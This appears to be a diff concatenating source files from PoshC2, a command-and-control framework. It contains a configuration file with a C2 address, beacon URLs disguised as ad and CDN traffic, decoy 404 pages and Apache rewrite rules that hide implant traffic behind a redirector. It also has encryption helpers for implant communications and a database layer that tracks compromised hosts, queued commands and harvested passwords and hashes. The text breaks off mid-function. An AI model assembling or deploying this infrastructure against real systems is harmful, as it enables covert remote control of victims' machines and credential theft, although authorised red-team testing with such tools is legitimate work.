PORT_NUMBER = 443
|
||||
|
||||
POSHDIR = "/opt/PoshC2_Python/"
|
||||
ROOTDIR = "/opt/PoshC2-Project/"
|
||||
HostnameIP = "https://172.16.0.126"
|
||||
ServerPort = "443"
|
||||
DomainFrontHeader = "" # example df.azureedge.net
|
||||
DefaultSleep = "5"
|
||||
KillDate = "08/06/2019"
|
||||
QuickCommand = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
|
||||
DownloadURI = "adsense/troubleshooter/1631343?id=Ndks8dmsPld"
|
||||
Sounds = "Yes"
|
||||
APIKEY = "" # ClockworkSMS API key for notifications
|
||||
MobileNumber = '"07777777777","07777777777"' #
|
||||
URLS = '"adsense/troubleshooter/1631343/","adServingData/PROD/TMClient/6/8736/","advanced_search?hl=en-GB&fg=","async/newtab?ei=","babel-polyfill/6.3.14/polyfill.min.js=","bh/sync/aol?rurl=/ups/55972/sync?origin=","bootstrap/3.1.1/bootstrap.min.js?p=","branch-locator/search.asp?WT.ac&api=","business/home.asp&ved=","business/retail-business/insurance.asp?WT.mc_id=","cdb?ptv=48&profileId=125&av=1&cb=","cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=","classroom/sharewidget/widget_stable.html?usegapi=","client_204?&atyp=i&biw=1920&bih=921&ei=","load/pages/index.php?t=","putil/2018/0/11/po.html?ved=","q/2018/load.php?lang=en&modules=","status/995598521343541248/query=","TOS?loc=GB&hl=en&privacy=","trader-update/history&pd=","types/translation/v1/articles/","uasclient/0.1.34/modules/","usersync/tradedesk/","utag/lbg/main/prod/utag.15.js?utv=","vs/1/vsopts.js?","vs/site/bgroup/visitor/","w/load.php?debug=false&lang=en&modules=","web/20110920084728/","webhp?hl=en&sa=X&ved=","work/embedded/search?oid="'
|
||||
SocksURLS = '"GoPro5/black/2018/","Philips/v902/"'
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
|
||||
Referer = "" # optional
|
||||
HTTPResponse = """<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache (Debian) Server</address>
|
||||
</body></html>
|
||||
"""
|
||||
HTTPResponses = [
|
||||
"STATUS 200",
|
||||
"OK",
|
||||
"<html><head></head><body>#RANDOMDATA#</body></html>",
|
||||
"<html><body>#RANDOMDATA#</body></html>",
|
||||
"""<?xml version="1.0" encoding="UTF-8"?>
|
||||
<heading>#RANDOMDATA#</heading>
|
||||
<body>#RANDOMDATA#</body>""",
|
||||
"<html><head>#RANDOMDATA#</head><body><div>#RANDOMDATA#</div></body></html>"
|
||||
]
|
||||
ServerHeader = "Apache"
|
||||
Insecure = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}"
|
||||
|
||||
|
||||
|
||||
# DO NOT CHANGE #
|
||||
FilesDirectory = "%sFiles/" % POSHDIR
|
||||
PayloadsDirectory = "%spayloads/" % ROOTDIR
|
||||
DownloadsDirectory = "%sdownloads/" % ROOTDIR
|
||||
ReportsDirectory = "%sreports/" % ROOTDIR
|
||||
DB = "%s/PowershellC2.SQLite" % ROOTDIR
|
||||
|
||||
logo = """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
|
||||
# DO NOT CHANGE #
|
||||
|
||||
'''
|
||||
RewriteEngine On
|
||||
SSLProxyEngine On
|
||||
SSLProxyCheckPeerCN Off
|
||||
SSLProxyVerify none
|
||||
SSLProxyCheckPeerName off
|
||||
SSLProxyCheckPeerExpire off
|
||||
|
||||
Define PoshC2 <ADD_IPADDRESS_HERE>
|
||||
Define SharpSocks <ADD_IPADDRESS_HERE>
|
||||
|
||||
RewriteRule ^/adsense/troub(.*) https://${PoshC2}/adsense/troub$1 [NC,L,P]
|
||||
RewriteRule ^/adServingData(.*) https://${PoshC2}/adServingData$1 [NC,L,P]
|
||||
RewriteRule ^/advanced_sear(.*) https://${PoshC2}/advanced_sear$1 [NC,L,P]
|
||||
RewriteRule ^/async/newtab(.*) https://${PoshC2}/async/newtab$1 [NC,L,P]
|
||||
RewriteRule ^/babel-polyfil(.*) https://${PoshC2}/babel-polyfil$1 [NC,L,P]
|
||||
RewriteRule ^/bh/sync/aol(.*) https://${PoshC2}/bh/sync/aol$1 [NC,L,P]
|
||||
RewriteRule ^/bootstrap/3.1(.*) https://${PoshC2}/bootstrap/3.1$1 [NC,L,P]
|
||||
RewriteRule ^/branch-locato(.*) https://${PoshC2}/branch-locato$1 [NC,L,P]
|
||||
RewriteRule ^/business/home(.*) https://${PoshC2}/business/home$1 [NC,L,P]
|
||||
RewriteRule ^/business/reta(.*) https://${PoshC2}/business/reta$1 [NC,L,P]
|
||||
RewriteRule ^/cdb(.*) https://${PoshC2}/cdb$1 [NC,L,P]
|
||||
RewriteRule ^/cis/marketq(.*) https://${PoshC2}/cis/marketq$1 [NC,L,P]
|
||||
RewriteRule ^/classroom/sha(.*) https://${PoshC2}/classroom/sha$1 [NC,L,P]
|
||||
RewriteRule ^/client_204(.*) https://${PoshC2}/client_204$1 [NC,L,P]
|
||||
RewriteRule ^/load/pages/in(.*) https://${PoshC2}/load/pages/in$1 [NC,L,P]
|
||||
RewriteRule ^/putil/2018/0/(.*) https://${PoshC2}/putil/2018/0/$1 [NC,L,P]
|
||||
RewriteRule ^/q/2018/load.p(.*) https://${PoshC2}/q/2018/load.p$1 [NC,L,P]
|
||||
RewriteRule ^/status/995598(.*) https://${PoshC2}/status/995598$1 [NC,L,P]
|
||||
RewriteRule ^/TOS(.*) https://${PoshC2}/TOS$1 [NC,L,P]
|
||||
RewriteRule ^/trader-update(.*) https://${PoshC2}/trader-update$1 [NC,L,P]
|
||||
RewriteRule ^/types/transla(.*) https://${PoshC2}/types/transla$1 [NC,L,P]
|
||||
RewriteRule ^/uasclient/0.1(.*) https://${PoshC2}/uasclient/0.1$1 [NC,L,P]
|
||||
RewriteRule ^/usersync/trad(.*) https://${PoshC2}/usersync/trad$1 [NC,L,P]
|
||||
RewriteRule ^/utag/lbg/main(.*) https://${PoshC2}/utag/lbg/main$1 [NC,L,P]
|
||||
RewriteRule ^/vs/1/vsopts.j(.*) https://${PoshC2}/vs/1/vsopts.j$1 [NC,L,P]
|
||||
RewriteRule ^/vs/site/bgrou(.*) https://${PoshC2}/vs/site/bgrou$1 [NC,L,P]
|
||||
RewriteRule ^/w/load.php(.*) https://${PoshC2}/w/load.php$1 [NC,L,P]
|
||||
RewriteRule ^/web/201109200(.*) https://${PoshC2}/web/201109200$1 [NC,L,P]
|
||||
RewriteRule ^/webhp(.*) https://${PoshC2}/webhp$1 [NC,L,P]
|
||||
RewriteRule ^/work/embedded(.*) https://${PoshC2}/work/embedded$1 [NC,L,P]
|
||||
|
||||
RewriteRule ^/GoPro5/black/2018/(.*) http://${SharpSocks}/GoPro5/black/2018/$1 [NC,L,P]
|
||||
RewriteRule ^/Philips/v902/(.*) http://${SharpSocks}/Philips/v902/$1 [NC,L,P]
|
||||
|
||||
'''
|
|
@ -0,0 +1,115 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import zlib, argparse, os, re, datetime, time, base64, string, random, codecs
|
||||
from C2Server import *
|
||||
from Config import *
|
||||
|
||||
def default_response():
|
||||
return (random.choice(HTTPResponses)).replace("#RANDOMDATA#",randomuri())
|
||||
|
||||
def formStr(varstr, instr):
|
||||
holder = []
|
||||
str1 = ''
|
||||
str2 = ''
|
||||
str1 = varstr + ' = "' + instr[:56] + '"'
|
||||
for i in xrange(56, len(instr), 48):
|
||||
holder.append('"'+instr[i:i+48])
|
||||
str2 = '"\r\n'.join(holder)
|
||||
|
||||
str2 = str2 + "\""
|
||||
str1 = str1 + "\r\n"+str2
|
||||
return "%s;" % str1
|
||||
|
||||
def formStrMacro(varstr, instr):
|
||||
holder = []
|
||||
str1 = ''
|
||||
str2 = ''
|
||||
str1 = varstr + ' = "' + instr[:54] + '"'
|
||||
for i in xrange(54, len(instr), 48):
|
||||
holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48])
|
||||
str2 = '"\r\n'.join(holder)
|
||||
|
||||
str2 = str2 + "\""
|
||||
str1 = str1 + "\r\n"+str2
|
||||
return str1
|
||||
|
||||
|
||||
def load_module(module_name):
|
||||
file = codecs.open(("%sModules/%s" % (POSHDIR,module_name)), 'r', encoding='utf-8-sig')
|
||||
return file.read()
|
||||
|
||||
def get_images():
|
||||
dir_path = os.path.dirname(os.path.realpath(__file__))
|
||||
rootimagedir = "%s/Images/" % dir_path
|
||||
images = ""
|
||||
for root, dirs, filenames in os.walk(rootimagedir):
|
||||
count = 1
|
||||
for f in filenames:
|
||||
if count == 5:
|
||||
with open(rootimagedir+f, "rb") as image_file:
|
||||
image = image_file.read()
|
||||
if len(image) < 1500:
|
||||
images += "\"%s\"" % (base64.b64encode(image))
|
||||
if count < 5:
|
||||
with open(rootimagedir+f, "rb") as image_file:
|
||||
image = image_file.read()
|
||||
if len(image) < 1500:
|
||||
images += "\"%s\"," % (base64.b64encode(image))
|
||||
count += 1
|
||||
return images
|
||||
|
||||
def gen_key():
|
||||
key = os.urandom(256/8)
|
||||
return base64.b64encode(key)
|
||||
|
||||
def randomuri(size = 15, chars=string.ascii_letters + string.digits):
|
||||
return ''.join(random.choice(chars) for _ in range(size))
|
||||
|
||||
# Decrypt a string from base64 encoding
|
||||
def get_encryption( key, iv='0123456789ABCDEF' ):
|
||||
from Crypto.Cipher import AES
|
||||
# print 'IV: ', iv
|
||||
aes = AES.new( base64.b64decode(key), AES.MODE_CBC, iv )
|
||||
return aes
|
||||
|
||||
# Decrypt a string from base64 encoding
|
||||
def decrypt( key, data ):
|
||||
iv = data[0:16]
|
||||
aes = get_encryption(key, iv)
|
||||
data = aes.decrypt( base64.b64decode(data) )
|
||||
return data[16:]
|
||||
|
||||
# Decrypt a string from base64 encoding
|
||||
def decrypt_bytes_gzip( key, data):
|
||||
iv = data[0:16]
|
||||
aes = get_encryption(key, iv)
|
||||
data = aes.decrypt( data )
|
||||
import StringIO
|
||||
import gzip
|
||||
infile = StringIO.StringIO(data[16:])
|
||||
with gzip.GzipFile(fileobj=infile, mode="r") as f:
|
||||
data = f.read()
|
||||
return data
|
||||
|
||||
# Encrypt a string and base64 encode it
|
||||
def encrypt( key, data, gzip=False ):
|
||||
if gzip:
|
||||
print 'Gzipping data - pre-zipped len, ' + str(len(data))
|
||||
import StringIO
|
||||
import gzip
|
||||
out = StringIO.StringIO()
|
||||
with gzip.GzipFile(fileobj=out, mode="w") as f:
|
||||
f.write(data)
|
||||
data = out.getvalue()
|
||||
|
||||
# Pad with zeros
|
||||
mod = len(data) % 16
|
||||
if mod != 0:
|
||||
newlen = len(data) + (16-mod)
|
||||
data = data.ljust( newlen, '\0' )
|
||||
aes = get_encryption(key)
|
||||
# print 'Data len: ' + str(len(data))
|
||||
data = aes.IV + aes.encrypt( data )
|
||||
if not gzip:
|
||||
data = base64.b64encode( data )
|
||||
return data
|
|
@ -0,0 +1,573 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import datetime, time
|
||||
import sqlite3
|
||||
from sqlite3 import Error
|
||||
from C2Server import DB
|
||||
from ImplantHandler import DB
|
||||
|
||||
def initializedb():
|
||||
create_implants = """CREATE TABLE IF NOT EXISTS Implants (
|
||||
ImplantID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
RandomURI VARCHAR(20),
|
||||
User TEXT,
|
||||
Hostname TEXT,
|
||||
IpAddress TEXT,
|
||||
Key TEXT,
|
||||
FirstSeen TEXT,
|
||||
LastSeen TEXT,
|
||||
PID TEXT,
|
||||
Proxy TEXT,
|
||||
Arch TEXT,
|
||||
Domain TEXT,
|
||||
Alive TEXT,
|
||||
Sleep TEXT,
|
||||
ModsLoaded TEXT,
|
||||
Pivot TEXT);"""
|
||||
|
||||
create_autoruns = """CREATE TABLE AutoRuns (
|
||||
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
Task TEXT);"""
|
||||
|
||||
create_completedtasks = """CREATE TABLE CompletedTasks (
|
||||
CompletedTaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
TaskID TEXT,
|
||||
RandomURI TEXT,
|
||||
Command TEXT,
|
||||
Output TEXT,
|
||||
Prompt TEXT);"""
|
||||
|
||||
create_tasks = """CREATE TABLE NewTasks (
|
||||
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
RandomURI TEXT,
|
||||
Command TEXT);"""
|
||||
|
||||
create_creds = """CREATE TABLE Creds (
|
||||
credsID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
Username TEXT,
|
||||
Password TEXT,
|
||||
Hash TEXT);"""
|
||||
|
||||
create_c2server = """CREATE TABLE C2Server (
|
||||
ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
HostnameIP TEXT,
|
||||
EncKey TEXT,
|
||||
DomainFrontHeader TEXT,
|
||||
DefaultSleep TEXT,
|
||||
KillDate TEXT,
|
||||
HTTPResponse TEXT,
|
||||
FolderPath TEXT,
|
||||
ServerPort TEXT,
|
||||
QuickCommand TEXT,
|
||||
DownloadURI TEXT,
|
||||
ProxyURL TEXT,
|
||||
ProxyUser TEXT,
|
||||
ProxyPass TEXT,
|
||||
Sounds TEXT,
|
||||
APIKEY TEXT,
|
||||
MobileNumber TEXT,
|
||||
URLS TEXT,
|
||||
SocksURLS TEXT,
|
||||
Insecure TEXT,
|
||||
UserAgent TEXT,
|
||||
Referer TEXT);"""
|
||||
|
||||
create_history = """CREATE TABLE History (
|
||||
ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
|
||||
Command TEXT);"""
|
||||
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
|
||||
if conn is not None:
|
||||
c.execute(create_implants)
|
||||
c.execute(create_autoruns)
|
||||
c.execute(create_completedtasks)
|
||||
c.execute(create_tasks)
|
||||
c.execute(create_creds)
|
||||
c.execute(create_c2server)
|
||||
c.execute(create_history)
|
||||
conn.commit()
|
||||
else:
|
||||
print("Error! cannot create the database connection.")
|
||||
|
||||
def setupserver(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO C2Server (HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",(HostnameIP,EncKey,DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,FolderPath,ServerPort,QuickCommand,DownloadURI,ProxyURL,ProxyUser,ProxyPass,Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer))
|
||||
conn.commit()
|
||||
|
||||
def get_c2server_all():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM C2Server")
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_implants_all():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_nettasks_all():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM NewTasks")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def drop_nettasks():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("DELETE FROM NewTasks ")
|
||||
conn.commit()
|
||||
|
||||
def new_task( task, randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO NewTasks (RandomURI, Command) VALUES (?, ?)",(randomuri, task))
|
||||
conn.commit()
|
||||
|
||||
def get_lastcommand():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM History ORDER BY ID DESC LIMIT 1")
|
||||
try:
|
||||
result = c.fetchone()[1]
|
||||
except Exception as e:
|
||||
result = None
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def new_commandhistory( command ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO History (Command) VALUES (?)",(command,))
|
||||
conn.commit()
|
||||
|
||||
def get_history_dict():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM History")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_history():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM History")
|
||||
result = c.fetchall()
|
||||
history = ""
|
||||
for command in result:
|
||||
history = "%s \r\n %s" % (history, command[1])
|
||||
history = "%s \r\n" % (history)
|
||||
if history:
|
||||
return history
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_implants():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE Alive='Yes'")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_implanttype( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT Pivot FROM Implants WHERE RandomURI=?",(randomuri,))
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_implantdetails( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,))
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_hostdetails( implant_id ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE ImplantID=?",(implant_id,))
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_randomuri( implant_id ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT RandomURI FROM Implants WHERE ImplantID=?",(implant_id,))
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def add_autorun(Task):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO AutoRuns (Task) VALUES (?)", (Task,))
|
||||
conn.commit()
|
||||
|
||||
def update_sleep( sleep, randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET Sleep=? WHERE RandomURI=?",(sleep, randomuri))
|
||||
conn.commit()
|
||||
|
||||
def update_mods( modules, randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET ModsLoaded=? WHERE RandomURI=?",(modules, randomuri))
|
||||
conn.commit()
|
||||
|
||||
def kill_implant( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET Alive='No' WHERE RandomURI=?",(randomuri,))
|
||||
conn.commit()
|
||||
|
||||
def unhide_implant( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET Alive='Yes' WHERE RandomURI=?",(randomuri,))
|
||||
conn.commit()
|
||||
|
||||
def select_mods( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT ModsLoaded FROM Implants WHERE RandomURI=?", (randomuri,))
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def select_item(column, table):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT %s FROM %s" % (column, table))
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def del_newtasks(TaskID):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("DELETE FROM NewTasks WHERE TaskID=?", (TaskID,))
|
||||
conn.commit()
|
||||
|
||||
def del_autorun(TaskID):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("DELETE FROM AutoRuns WHERE TaskID=?", (TaskID,))
|
||||
conn.commit()
|
||||
|
||||
def del_autoruns():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("DELETE FROM AutoRuns ")
|
||||
conn.commit()
|
||||
|
||||
def update_implant_lastseen(time, randomuri):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("UPDATE Implants SET LastSeen=? WHERE RandomURI=?", (time,randomuri))
|
||||
conn.commit()
|
||||
|
||||
def new_implant(RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO Implants (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", (RandomURI, User, Hostname, IpAddress, Key, FirstSeen, LastSeen, PID, Proxy, Arch, Domain, Alive, Sleep, ModsLoaded, Pivot))
|
||||
conn.commit()
|
||||
|
||||
def insert_completedtask(randomuri, command, output, prompt):
|
||||
now = datetime.datetime.now()
|
||||
TaskID = now.strftime("%m/%d/%Y %H:%M:%S")
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.text_factory = str
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("INSERT INTO CompletedTasks (TaskID, RandomURI, Command, Output, Prompt) VALUES (?, ?, ?, ?, ?)", (TaskID, randomuri, command, output, prompt))
|
||||
conn.commit()
|
||||
|
||||
def update_item(column, table, value, wherecolumn=None, where=None):
|
||||
conn = sqlite3.connect(DB)
|
||||
c = conn.cursor()
|
||||
if wherecolumn is None:
|
||||
c.execute("UPDATE %s SET %s=?" % (table,column), (value,))
|
||||
else:
|
||||
c.execute("UPDATE %s SET %s=? WHERE %s=?" % (table,column,wherecolumn), (value, where))
|
||||
conn.commit()
|
||||
|
||||
def get_implantbyid(id):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE ImplantID=%s" % id)
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_completedtasks():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM CompletedTasks")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_completedtasksbyid(id):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM CompletedTasks WHERE CompletedTaskID=%s" % id)
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_newtasksbyid(taskid):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM NewTasks WHERE TaskID=%s" % taskid)
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_seqcount(table):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT seq FROM sqlite_sequence WHERE name=\"%s\"" % table)
|
||||
result = int(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_baseenckey():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT EncKey FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_defaultuseragent():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT UserAgent FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_defaultbeacon():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT DefaultSleep FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_killdate():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT KillDate FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_sharpurls():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT SocksURLS FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_allurls():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT URLS FROM C2Server")
|
||||
result1 = str(c.fetchone()[0])
|
||||
c.execute("SELECT SocksURLS FROM C2Server")
|
||||
result2 = str(c.fetchone()[0])
|
||||
result = result1+","+result2
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_beaconurl():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT URLS FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
url = result.split(",")
|
||||
return url[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_otherbeaconurls():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT URLS FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_newimplanturl():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT URLS FROM C2Server")
|
||||
result = str(c.fetchone()[0])
|
||||
if result:
|
||||
url = result.split(",")
|
||||
return "/"+url[0].replace('"', '')
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_hostinfo(randomuri):
|
||||
conn = sqlite3.connect(DB)
|
||||
